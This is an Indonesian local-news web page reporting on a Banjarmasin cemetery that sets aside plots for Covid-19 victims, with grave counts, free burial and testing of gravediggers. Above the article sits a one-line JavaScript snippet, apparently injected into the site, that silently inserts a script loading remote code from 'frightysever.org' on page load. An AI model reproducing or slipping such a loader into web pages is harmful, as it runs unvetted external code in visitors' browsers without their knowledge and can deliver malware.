(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin melalui Dinas Lingkungan Hidup (DLH) Kota Banjarmasin menyediakan lahan permakaman yang berlokasi di Tempat Permakaman Umum (TPU) Pemko Banjarmasin, Jalan A Yani Km 22, Landasan Ulin Tengah, Kota Banjarbaru.
Permakaman sendiri diperuntukkan untuk warga Kota Banjarmasin, tak terkecuali bagi yang menjadi korban pandemi Covid-19.
Kepala DLH Kota Banjarmasin H Mukhyar mengungkapkan, sedikitnya delapan hektare lahan disediakan untuk permakaman umum. Di mana, sekitar empat hingga lima hektare disediakan untuk permakaman muslimin, sementara sisanya untuk permakaman nonmuslim.
“Dalam perjalanannya, sudah kami pergunakan untuk (permakaman) muslimin, ternyata ada wabah Covid-19 ini, kan. Lalu kami alokasikan beberapa titik di sana untuk permakaman Covid-19,” kata Mukhyar.
Hingga Minggu (7/6/2020) kemarin, Mukhyar menyebutkan sudah ada 91 liang lahat yang dipergunakan untuk korban Covid-19. Ia mengatakan, permakaman diprioritaskan untuk warga Kota Banjarmasin yang utamanya ber-KTP Banjarmasin.
“Tapi kalau misalnya tidak ada yang bisa ditampung lagi, misalnya orang luar Kota Banjarmasin yang datang ke sini dan terpapar Covid-19 dan tidak bisa dibawa pulang ke daerah asal, tetap kita tampung di sana. Asal, keluarganya ada di Banjarmasin,” papar dia.
Muchyar menambahkan, kendati sudah diisi sebanyak 91 liang lahat untuk korban Covid-19, kapasitas liang lahat masih cukup untuk menampung permakaman. Baik itu untuk korban Covid-19 maupun masyarakat umum terutama dari kalangan tidak mampu, ataupun yang tidak memiliki alkah permakaman.
“Masih bisa, sekitar 500 lebih liang lahat. Itu lahan yang matang,” katanya.
Ia mengungkapkan, awalnya itu permakaman tua yang tidak tertata baik. Sekarang, sudah dapat ditata secara baik, termasuk dengan membangun pagar yang mengelilingi TPU.
Muchyar pun memastikan, tidak ada biaya yang dipungut untuk pemakaman korban Covid-19.
“Tinggal Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin itu membayar petugas pemakamannya,” jelasMuchyar.
Jajarannya telah meminta kepada Dinas Kesehatan Kota Banjarmasin melaksanakan rapid test khusus petugas pemakaman di TPU Pemko Banjarmasin itu. Karena diakuinya, petugas pemakaman rentan terpapar Covid-19.
“Sudah dilakukan Dinkes dan sementara hasilnya negatif (nonreaktif). Tapi tidak menutup kemungkinan ada OTG (orang tanpa gejala) juga kan,” tandas Muchyar. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
This website uses cookies.